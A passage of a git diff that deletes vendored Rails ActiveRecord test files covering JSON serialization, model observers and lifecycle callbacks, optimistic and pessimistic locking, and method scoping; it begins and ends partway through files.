-      :age         => 16,
-      :avatar      => 'binarydata',
-      :created_at  => Time.utc(2006, 8, 1),
-      :awesome     => true,
-      :preferences => { :shows => 'anime' }
-    )
-  end
-
-  def test_should_demodulize_root_in_json
-    NamespacedContact.include_root_in_json = true
-    @contact = NamespacedContact.new :name => 'whatever'
-    json = @contact.to_json
-    assert_match %r{^\{"namespaced_contact":\{}, json
-  end
-
-  def test_should_include_root_in_json
-    Contact.include_root_in_json = true
-    json = @contact.to_json
-
-    assert_match %r{^\{"contact":\{}, json
-    assert_match %r{"name":"Konata Izumi"}, json
-    assert_match %r{"age":16}, json
-    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome":true}, json
-    assert_match %r{"preferences":\{"shows":"anime"\}}, json
-  ensure
-    Contact.include_root_in_json = false
-  end
-
-  def test_should_include_root_in_json
-    Contact.include_root_in_json = true
-    json = @contact.to_json(:root => 'json_contact')
-
-    assert_match %r{^\{"json_contact":\{}, json
-    assert_match %r{"name":"Konata Izumi"}, json
-    assert_match %r{"age":16}, json
-    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome":true}, json
-    assert_match %r{"preferences":\{"shows":"anime"\}}, json
-  ensure
-    Contact.include_root_in_json = false
-  end
-
-  def test_should_encode_all_encodable_attributes
-    json = @contact.to_json
-
-    assert_match %r{"name":"Konata Izumi"}, json
-    assert_match %r{"age":16}, json
-    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome":true}, json
-    assert_match %r{"preferences":\{"shows":"anime"\}}, json
-  end
-
-  def test_should_allow_attribute_filtering_with_only
-    json = @contact.to_json(:only => [:name, :age])
-
-    assert_match %r{"name":"Konata Izumi"}, json
-    assert_match %r{"age":16}, json
-    assert_no_match %r{"awesome":true}, json
-    assert !json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
-  end
-
-  def test_should_allow_attribute_filtering_with_except
-    json = @contact.to_json(:except => [:name, :age])
-
-    assert_no_match %r{"name":"Konata Izumi"}, json
-    assert_no_match %r{"age":16}, json
-    assert_match %r{"awesome":true}, json
-    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"preferences":\{"shows":"anime"\}}, json
-  end
-
-  def test_methods_are_called_on_object
-    # Define methods on fixture.
-    def @contact.label; "Has cheezburger"; end
-    def @contact.favorite_quote; "Constraints are liberating"; end
-
-    # Single method.
-    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
-
-    # Both methods.
-    methods_json = @contact.to_json(:only => :name, :methods => [:label, :favorite_quote])
-    assert_match %r{"label":"Has cheezburger"}, methods_json
-    assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
-  end
-end
-
-class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :comments, :tags, :taggings
-
-  def setup
-    @david = authors(:david)
-    @mary = authors(:mary)
-  end
-
-  def test_includes_uses_association_name
-    json = @david.to_json(:include => :posts)
-
-    assert_match %r{"posts":\[}, json
-
-    assert_match %r{"id":1}, json
-    assert_match %r{"name":"David"}, json
-
-    assert_match %r{"author_id":1}, json
-    assert_match %r{"title":"Welcome to the weblog"}, json
-    assert_match %r{"body":"Such a lovely day"}, json
-
-    assert_match %r{"title":"So I was thinking"}, json
-    assert_match %r{"body":"Like I hopefully always am"}, json
-  end
-
-  def test_includes_uses_association_name_and_applies_attribute_filters
-    json = @david.to_json(:include => { :posts => { :only => :title } })
-
-    assert_match %r{"name":"David"}, json
-    assert_match %r{"posts":\[}, json
-
-    assert_match %r{"title":"Welcome to the weblog"}, json
-    assert_no_match %r{"body":"Such a lovely day"}, json
-
-    assert_match %r{"title":"So I was thinking"}, json
-    assert_no_match %r{"body":"Like I hopefully always am"}, json
-  end
-
-  def test_includes_fetches_second_level_associations
-    json = @david.to_json(:include => { :posts => { :include => { :comments => { :only => :body } } } })
-
-    assert_match %r{"name":"David"}, json
-    assert_match %r{"posts":\[}, json
-
-    assert_match %r{"comments":\[}, json
-    assert_match %r{\{"body":"Thank you again for the welcome"\}}, json
-    assert_match %r{\{"body":"Don't think too hard"\}}, json
-    assert_no_match %r{"post_id":}, json
-  end
-
-  def test_includes_fetches_nth_level_associations
-    json = @david.to_json(
-      :include => {
-        :posts => {
-          :include => {
-            :taggings => {
-              :include => {
-                :tag => { :only => :name }
-              }
-            }
-          }
-        }
-    })
-
-    assert_match %r{"name":"David"}, json
-    assert_match %r{"posts":\[}, json
-
-    assert_match %r{"taggings":\[}, json
-    assert_match %r{"tag":\{"name":"General"\}}, json
-  end
-
-  def test_should_not_call_methods_on_associations_that_dont_respond
-    def @david.favorite_quote; "Constraints are liberating"; end
-    json = @david.to_json(:include => :posts, :methods => :favorite_quote)
-
-    assert !@david.posts.first.respond_to?(:favorite_quote)
-    assert_match %r{"favorite_quote":"Constraints are liberating"}, json
-    assert_equal %r{"favorite_quote":}.match(json).size, 1
-  end
-
-  def test_should_allow_only_option_for_list_of_authors
-    authors = [@david, @mary]
-
-    assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, :only => :name)
-  end
-
-  def test_should_allow_except_option_for_list_of_authors
-    authors = [@david, @mary]
-
-    assert_equal %([{"id":1},{"id":2}]), ActiveSupport::JSON.encode(authors, :except => [:name, :author_address_id, :author_address_extra_id])
-  end
-
-  def test_should_allow_includes_for_list_of_authors
-    authors = [@david, @mary]
-    json = ActiveSupport::JSON.encode(authors,
-      :only => :name,
-      :include => {
-        :posts => { :only => :id }
-      }
-    )
-
-    ['"name":"David"', '"posts":[', '{"id":1}', '{"id":2}', '{"id":4}',
-     '{"id":5}', '{"id":6}', '"name":"Mary"', '"posts":[{"id":7}]'].each do |fragment|
-      assert json.include?(fragment), json
-     end
-  end
-
-  def test_should_allow_options_for_hash_of_authors
-    authors_hash = {
-      1 => @david,
-      2 => @mary
-    }
-
-    assert_equal %({"1":{"name":"David"}}), ActiveSupport::JSON.encode(authors_hash, :only => [1, :name])
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/lifecycle_test.rb b/vendor/rails/activerecord/test/cases/lifecycle_test.rb
deleted file mode 100644
index 54fb3d8c..00000000
--- a/vendor/rails/activerecord/test/cases/lifecycle_test.rb
+++ /dev/null
@@ -1,193 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/developer'
-require 'models/reply'
-require 'models/minimalistic'
-
-class Topic; def after_find() end end
-class Developer; def after_find() end end
-class SpecialDeveloper < Developer; end
-
-class TopicManualObserver
-  include Singleton
-
-  attr_reader :action, :object, :callbacks
-
-  def initialize
-    Topic.add_observer(self)
-    @callbacks = []
-  end
-
-  def update(callback_method, object)
-    @callbacks << { "callback_method" => callback_method, "object" => object }
-  end
-
-  def has_been_notified?
-    !@callbacks.empty?
-  end
-end
-
-class TopicaAuditor < ActiveRecord::Observer
-  observe :topic
-
-  attr_reader :topic
-
-  def after_find(topic)
-    @topic = topic
-  end
-end
-
-class TopicObserver < ActiveRecord::Observer
-  attr_reader :topic
-
-  def after_find(topic)
-    @topic = topic
-  end
-end
-
-class MinimalisticObserver < ActiveRecord::Observer
-  attr_reader :minimalistic
-
-  def after_find(minimalistic)
-    @minimalistic = minimalistic
-  end
-end
-
-class MultiObserver < ActiveRecord::Observer
-  attr_reader :record
-
-  def self.observed_class() [ Topic, Developer ] end
-
-  cattr_reader :last_inherited
-  @@last_inherited = nil
-
-  def observed_class_inherited_with_testing(subclass)
-    observed_class_inherited_without_testing(subclass)
-    @@last_inherited = subclass
-  end
-
-  alias_method_chain :observed_class_inherited, :testing
-
-  def after_find(record)
-    @record = record
-  end
-end
-
-class LifecycleTest < ActiveRecord::TestCase
-  fixtures :topics, :developers, :minimalistics
-
-  def test_before_destroy
-    original_count = Topic.count
-    (topic_to_be_destroyed = Topic.find(1)).destroy
-    assert_equal original_count - (1 + topic_to_be_destroyed.replies.size), Topic.count
-  end
-
-  def test_after_save
-    ActiveRecord::Base.observers = :topic_manual_observer
-    ActiveRecord::Base.instantiate_observers
-
-    topic = Topic.find(1)
-    topic.title = "hello"
-    topic.save
-
-    assert TopicManualObserver.instance.has_been_notified?
-    assert_equal :after_save, TopicManualObserver.instance.callbacks.last["callback_method"]
-  end
-
-  def test_observer_update_on_save
-    ActiveRecord::Base.observers = TopicManualObserver
-    ActiveRecord::Base.instantiate_observers
-
-    topic = Topic.find(1)
-    assert TopicManualObserver.instance.has_been_notified?
-    assert_equal :after_find, TopicManualObserver.instance.callbacks.first["callback_method"]
-  end
-
-  def test_auto_observer
-    topic_observer = TopicaAuditor.instance
-    assert_nil TopicaAuditor.observed_class
-    assert_equal [Topic], TopicaAuditor.instance.observed_classes.to_a
-
-    topic = Topic.find(1)
-    assert_equal topic.title, topic_observer.topic.title
-  end
-
-  def test_inferred_auto_observer
-    topic_observer = TopicObserver.instance
-    assert_equal Topic, TopicObserver.observed_class
-
-    topic = Topic.find(1)
-    assert_equal topic.title, topic_observer.topic.title
-  end
-
-  def test_observing_two_classes
-    multi_observer = MultiObserver.instance
-
-    topic = Topic.find(1)
-    assert_equal topic.title, multi_observer.record.title
-
-    developer = Developer.find(1)
-    assert_equal developer.name, multi_observer.record.name
-  end
-
-  def test_observing_subclasses
-    multi_observer = MultiObserver.instance
-
-    developer = SpecialDeveloper.find(1)
-    assert_equal developer.name, multi_observer.record.name
-
-    klass = Class.new(Developer)
-    assert_equal klass, multi_observer.last_inherited
-
-    developer = klass.find(1)
-    assert_equal developer.name, multi_observer.record.name
-  end
-
-  def test_after_find_can_be_observed_when_its_not_defined_on_the_model
-    observer = MinimalisticObserver.instance
-    assert_equal Minimalistic, MinimalisticObserver.observed_class
-
-    minimalistic = Minimalistic.find(1)
-    assert_equal minimalistic, observer.minimalistic
-  end
-
-  def test_after_find_can_be_observed_when_its_defined_on_the_model
-    observer = TopicObserver.instance
-    assert_equal Topic, TopicObserver.observed_class
-
-    topic = Topic.find(1)
-    assert_equal topic, observer.topic
-  end
-
-  def test_after_find_is_not_created_if_its_not_used
-    # use a fresh class so an observer can't have defined an
-    # after_find on it
-    model_class = Class.new(ActiveRecord::Base)
-    observer_class = Class.new(ActiveRecord::Observer)
-    observer_class.observe(model_class)
-
-    observer = observer_class.instance
-
-    assert !model_class.method_defined?(:after_find)
-  end
-
-  def test_after_find_is_not_clobbered_if_it_already_exists
-    # use a fresh observer class so we can instantiate it (Observer is
-    # a Singleton)
-    model_class = Class.new(ActiveRecord::Base) do
-      def after_find; end
-    end
-    original_method = model_class.instance_method(:after_find)
-    observer_class = Class.new(ActiveRecord::Observer) do
-      def after_find; end
-    end
-    observer_class.observe(model_class)
-
-    observer = observer_class.instance
-    assert_equal original_method, model_class.instance_method(:after_find)
-  end
-
-  def test_invalid_observer
-    assert_raise(ArgumentError) { Topic.observers = Object.new; Topic.instantiate_observers }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/locking_test.rb b/vendor/rails/activerecord/test/cases/locking_test.rb
deleted file mode 100644
index a2d9d924..00000000
--- a/vendor/rails/activerecord/test/cases/locking_test.rb
+++ /dev/null
@@ -1,350 +0,0 @@
-require "cases/helper"
-require 'models/person'
-require 'models/reader'
-require 'models/legacy_thing'
-require 'models/reference'
-
-class LockWithoutDefault < ActiveRecord::Base; end
-
-class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
-  set_table_name :lock_without_defaults_cust
-  set_locking_column :custom_lock_version
-end
-
-class ReadonlyFirstNamePerson < Person
-  attr_readonly :first_name
-end
-
-class OptimisticLockingTest < ActiveRecord::TestCase
-  fixtures :people, :legacy_things, :references
-
-  # need to disable transactional fixtures, because otherwise the sqlite3
-  # adapter (at least) chokes when we try and change the schema in the middle
-  # of a test (see test_increment_counter_*).
-  self.use_transactional_fixtures = false
-
-  def test_lock_existing
-    p1 = Person.find(1)
-    p2 = Person.find(1)
-    assert_equal 0, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p1.first_name = 'stu'
-    p1.save!
-    assert_equal 1, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p2.first_name = 'sue'
-    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
-  end
-
-  # See Lighthouse ticket #1966
-  def test_lock_destroy
-    p1 = Person.find(1)
-    p2 = Person.find(1)
-    assert_equal 0, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p1.first_name = 'stu'
-    p1.save!
-    assert_equal 1, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    assert_raises(ActiveRecord::StaleObjectError) { p2.destroy }
-
-    assert p1.destroy
-    assert p1.frozen?
-    assert p1.destroyed?
-    assert_raises(ActiveRecord::RecordNotFound) { Person.find(1) }
-  end
-
-  def test_lock_repeating
-    p1 = Person.find(1)
-    p2 = Person.find(1)
-    assert_equal 0, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p1.first_name = 'stu'
-    p1.save!
-    assert_equal 1, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p2.first_name = 'sue'
-    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
-    p2.first_name = 'sue2'
-    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
-  end
-
-  def test_lock_new
-    p1 = Person.new(:first_name => 'anika')
-    assert_equal 0, p1.lock_version
-
-    p1.first_name = 'anika2'
-    p1.save!
-    p2 = Person.find(p1.id)
-    assert_equal 0, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p1.first_name = 'anika3'
-    p1.save!
-    assert_equal 1, p1.lock_version
-    assert_equal 0, p2.lock_version
-
-    p2.first_name = 'sue'
-    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
-  end
-
-  def test_lock_new_with_nil
-    p1 = Person.new(:first_name => 'anika')
-    p1.save!
-    p1.lock_version = nil # simulate bad fixture or column with no default
-    p1.save!
-    assert_equal 1, p1.lock_version
-  end
-
-
-  def test_lock_column_name_existing
-    t1 = LegacyThing.find(1)
-    t2 = LegacyThing.find(1)
-    assert_equal 0, t1.version
-    assert_equal 0, t2.version
-
-    t1.tps_report_number = 700
-    t1.save!
-    assert_equal 1, t1.version
-    assert_equal 0, t2.version
-
-    t2.tps_report_number = 800
-    assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
-  end
-
-  def test_lock_column_is_mass_assignable
-    p1 = Person.create(:first_name => 'bianca')
-    assert_equal 0, p1.lock_version
-    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
-
-    p1.first_name = 'bianca2'
-    p1.save!
-    assert_equal 1, p1.lock_version
-    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
-  end
-
-  def test_lock_without_default_sets_version_to_zero
-    t1 = LockWithoutDefault.new
-    assert_equal 0, t1.lock_version
-  end
-
-  def test_lock_with_custom_column_without_default_sets_version_to_zero
-    t1 = LockWithCustomColumnWithoutDefault.new
-    assert_equal 0, t1.custom_lock_version
-  end
-
-  def test_readonly_attributes
-    assert_equal Set.new([ 'first_name' ]), ReadonlyFirstNamePerson.readonly_attributes
-
-    p = ReadonlyFirstNamePerson.create(:first_name => "unchangeable name")
-    p.reload
-    assert_equal "unchangeable name", p.first_name
-
-    p.update_attributes(:first_name => "changed name")
-    p.reload
-    assert_equal "unchangeable name", p.first_name
-  end
-
-  { :lock_version => Person, :custom_lock_version => LegacyThing }.each do |name, model|
-    define_method("test_increment_counter_updates_#{name}") do
-      counter_test model, 1 do |id|
-        model.increment_counter :test_count, id
-      end
-    end
-
-    define_method("test_decrement_counter_updates_#{name}") do
-      counter_test model, -1 do |id|
-        model.decrement_counter :test_count, id
-      end
-    end
-
-    define_method("test_update_counters_updates_#{name}") do
-      counter_test model, 1 do |id|
-        model.update_counters id, :test_count => 1
-      end
-    end
-  end
-
-  # See Lighthouse ticket #1966
-  def test_destroy_dependents
-    # Establish dependent relationship between People and LegacyThing
-    add_counter_column_to(Person, 'legacy_things_count')
-    LegacyThing.connection.add_column LegacyThing.table_name, 'person_id', :integer
-    LegacyThing.reset_column_information
-    LegacyThing.class_eval do
-      belongs_to :person, :counter_cache => true
-    end
-    Person.class_eval do
-      has_many :legacy_things, :dependent => :destroy
-    end
-
-    # Make sure that counter incrementing doesn't cause problems
-    p1 = Person.new(:first_name => 'fjord')
-    p1.save!
-    t = LegacyThing.new(:person => p1)
-    t.save!
-    p1.reload
-    assert_equal 1, p1.legacy_things_count
-    assert p1.destroy
-    assert_equal true, p1.frozen?
-    assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
-    assert_raises(ActiveRecord::RecordNotFound) { LegacyThing.find(t.id) }
-  end
-  
-  def test_quote_table_name
-    ref = references(:michael_magician)
-    ref.favourite = !ref.favourite
-    assert ref.save
-  end
-
-  # Useful for partial updates, don't only update the lock_version if there
-  # is nothing else being updated.
-  def test_update_without_attributes_does_not_only_update_lock_version
-    assert_nothing_raised do
-      p1 = Person.new(:first_name => 'anika')
-      p1.send(:update_with_lock, [])
-    end
-  end
-
-  private
-
-    def add_counter_column_to(model, col='test_count')
-      model.connection.add_column model.table_name, col, :integer, :null => false, :default => 0
-      model.reset_column_information
-      # OpenBase does not set a value to existing rows when adding a not null default column
-      model.update_all(col => 0) if current_adapter?(:OpenBaseAdapter)
-    end
-
-    def remove_counter_column_from(model)
-      model.connection.remove_column model.table_name, :test_count
-      model.reset_column_information
-    end
-
-    def counter_test(model, expected_count)
-      add_counter_column_to(model)
-      object = model.find(:first)
-      assert_equal 0, object.test_count
-      assert_equal 0, object.send(model.locking_column)
-      yield object.id
-      object.reload
-      assert_equal expected_count, object.test_count
-      assert_equal 1, object.send(model.locking_column)
-    ensure
-      remove_counter_column_from(model)
-    end
-end
-
-
-# TODO: test against the generated SQL since testing locking behavior itself
-# is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
-# blocks, so separate script called by Kernel#system is needed.
-# (See exec vs. async_exec in the PostgreSQL adapter.)
-
-# TODO: The Sybase, and OpenBase adapters currently have no support for pessimistic locking
-
-unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
-  class PessimisticLockingTest < ActiveRecord::TestCase
-    self.use_transactional_fixtures = false
-    fixtures :people, :readers
-
-    def setup
-      # Avoid introspection queries during tests.
-      Person.columns; Reader.columns
-    end
-
-    # Test typical find.
-    def test_sane_find_with_lock
-      assert_nothing_raised do
-        Person.transaction do
-          Person.find 1, :lock => true
-        end
-      end
-    end
-
-    # Test scoped lock.
-    def test_sane_find_with_scoped_lock
-      assert_nothing_raised do
-        Person.transaction do
-          Person.with_scope(:find => { :lock => true }) do
-            Person.find 1
-          end
-        end
-      end
-    end
-
-    # PostgreSQL protests SELECT ... FOR UPDATE on an outer join.
-    unless current_adapter?(:PostgreSQLAdapter)
-      # Test locked eager find.
-      def test_eager_find_with_lock
-        assert_nothing_raised do
-          Person.transaction do
-            Person.find 1, :include => :readers, :lock => true
-          end
-        end
-      end
-    end
-
-    # Locking a record reloads it.
-    def test_sane_lock_method
-      assert_nothing_raised do
-        Person.transaction do
-          person = Person.find 1
-          old, person.first_name = person.first_name, 'fooman'
-          person.lock!
-          assert_equal old, person.first_name
-        end
-      end
-    end
-
-    if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
-      use_concurrent_connections
-
-      def test_no_locks_no_wait
-        first, second = duel { Person.find 1 }
-        assert first.end > second.end
-      end
-
-      def test_second_lock_waits
-        assert [0.2, 1, 5].any? { |zzz|
-          first, second = duel(zzz) { Person.find 1, :lock => true }
-          second.end > first.end
-        }
-      end
-
-      protected
-        def duel(zzz = 5)
-          t0, t1, t2, t3 = nil, nil, nil, nil
-
-          a = Thread.new do
-            t0 = Time.now
-            Person.transaction do
-              yield
-              sleep zzz       # block thread 2 for zzz seconds
-            end
-            t1 = Time.now
-          end
-
-          b = Thread.new do
-            sleep zzz / 2.0   # ensure thread 1 tx starts first
-            t2 = Time.now
-            Person.transaction { yield }
-            t3 = Time.now
-          end
-
-          a.join
-          b.join
-
-          assert t1 > t0 + zzz
-          assert t2 > t0
-          assert t3 > t2
-          [t0.to_f..t1.to_f, t2.to_f..t3.to_f]
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/method_scoping_test.rb b/vendor/rails/activerecord/test/cases/method_scoping_test.rb
deleted file mode 100644
index d8246f49..00000000
--- a/vendor/rails/activerecord/test/cases/method_scoping_test.rb
+++ /dev/null
@@ -1,704 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/author'
-require 'models/developer'
-require 'models/project'
-require 'models/comment'
-require 'models/category'
-
-class MethodScopingTest < ActiveRecord::TestCase
-  fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
-
-  def test_set_conditions
-    Developer.with_scope(:find => { :conditions => 'just a test...' }) do
-      assert_equal 'just a test...', Developer.send(:current_scoped_methods)[:find][:conditions]
-    end
-  end
-
-  def test_scoped_find
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      assert_nothing_raised { Developer.find(1) }
-    end
-  end
-
-  def test_scoped_find_first
-    Developer.with_scope(:find => { :conditions => "salary = 100000" }) do
-      assert_equal Developer.find(10), Developer.find(:first, :order => 'name')
-    end
-  end
-
-  def test_scoped_find_last
-    highest_salary = Developer.find(:first, :order => "salary DESC")
-
-    Developer.with_scope(:find => { :order => "salary" }) do
-      assert_equal highest_salary, Developer.last
-    end
-  end
-
-  def test_scoped_find_last_preserves_scope
-    lowest_salary = Developer.find(:first, :order => "salary ASC")
-    highest_salary = Developer.find(:first, :order => "salary DESC")
-
-    Developer.with_scope(:find => { :order => "salary" }) do
-      assert_equal highest_salary, Developer.last
-      assert_equal lowest_salary, Developer.first
-    end
-  end
-
-  def test_scoped_find_combines_conditions
-    Developer.with_scope(:find => { :conditions => "salary = 9000" }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => "name = 'Jamis'")
-    end
-  end
-
-  def test_scoped_find_sanitizes_conditions
-    Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first)
-    end
-  end
-
-  def test_scoped_find_combines_and_sanitizes_conditions
-    Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
-    end
-  end
-
-  def test_scoped_find_all
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      assert_equal [developers(:david)], Developer.find(:all)
-    end
-  end
-
-  def test_scoped_find_select
-    Developer.with_scope(:find => { :select => "id, name" }) do
-      developer = Developer.find(:first, :conditions => "name = 'David'")
-      assert_equal "David", developer.name
-      assert !developer.has_attribute?(:salary)
-    end
-  end
-
-  def test_options_select_replaces_scope_select
-    Developer.with_scope(:find => { :select => "id, name" }) do
-      developer = Developer.find(:first, :select => 'id, salary', :conditions => "name = 'David'")
-      assert_equal 80000, developer.salary
-      assert !developer.has_attribute?(:name)
-    end
-  end
-
-  def test_scoped_count
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      assert_equal 1, Developer.count
-    end
-
-    Developer.with_scope(:find => { :conditions => 'salary = 100000' }) do
-      assert_equal 8, Developer.count
-      assert_equal 1, Developer.count(:conditions => "name LIKE 'fixture_1%'")
-    end
-  end
-
-  def test_scoped_find_include
-    # with the include, will retrieve only developers for the given project
-    scoped_developers = Developer.with_scope(:find => { :include => :projects }) do
-      Developer.find(:all, :conditions => 'projects.id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-  end
-
-  def test_scoped_find_joins
-    scoped_developers = Developer.with_scope(:find => { :joins => 'JOIN developers_projects ON id = developer_id' } ) do
-      Developer.find(:all, :conditions => 'developers_projects.project_id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-    assert_equal developers(:david).attributes, scoped_developers.first.attributes
-  end
-
-  def test_scoped_find_using_new_style_joins
-    scoped_developers = Developer.with_scope(:find => { :joins => :projects }) do
-      Developer.find(:all, :conditions => 'projects.id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-    assert_equal developers(:david).attributes, scoped_developers.first.attributes
-  end
-
-  def test_scoped_find_merges_old_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id ' }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_new_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => :comments, :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_new_and_old_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_string_array_style_and_string_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => ["INNER JOIN posts ON posts.author_id = authors.id"]}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_string_array_style_and_hash_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => :posts}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN comments ON posts.id = comments.post_id'], :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_joins_and_eliminates_duplicate_string_joins
-    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON posts.author_id = authors.id'}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ["INNER JOIN posts ON posts.author_id = authors.id", "INNER JOIN comments ON posts.id = comments.post_id"], :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_strips_spaces_from_string_joins_and_eliminates_duplicate_string_joins
-    scoped_authors = Author.with_scope(:find => { :joins => ' INNER JOIN posts ON posts.author_id = authors.id '}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN posts ON posts.author_id = authors.id'], :conditions => 'posts.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_count_include
-    # with the include, will retrieve only developers for the given project
-    Developer.with_scope(:find => { :include => :projects }) do
-      assert_equal 1, Developer.count(:conditions => 'projects.id = 2')
-    end
-  end
-
-  def test_scoped_create
-    new_comment = nil
-
-    VerySpecialComment.with_scope(:create => { :post_id => 1 }) do
-      assert_equal({ :post_id => 1 }, VerySpecialComment.send(:current_scoped_methods)[:create])
-      new_comment = VerySpecialComment.create :body => "Wonderful world"
-    end
-
-    assert Post.find(1).comments.include?(new_comment)
-  end
-
-  def test_immutable_scope
-    options = { :conditions => "name = 'David'" }
-    Developer.with_scope(:find => options) do
-      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-      options[:conditions] = "name != 'David'"
-      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-    end
-
-    scope = { :find => { :conditions => "name = 'David'" }}
-    Developer.with_scope(scope) do
-      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-      scope[:find][:conditions] = "name != 'David'"
-      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-    end
-  end
-
-  def test_scoped_with_duck_typing
-    scoping = Struct.new(:method_scoping).new(:find => { :conditions => ["name = ?", 'David'] })
-    Developer.with_scope(scoping) do
-       assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-    end
-  end
-
-  def test_ensure_that_method_scoping_is_correctly_restored
-    scoped_methods = Developer.instance_eval('current_scoped_methods')
-
-    begin
-      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        raise "an exception"
-      end
-    rescue
-    end
-    assert_equal scoped_methods, Developer.instance_eval('current_scoped_methods')
-  end
-end
-
-class NestedScopingTest < ActiveRecord::TestCase
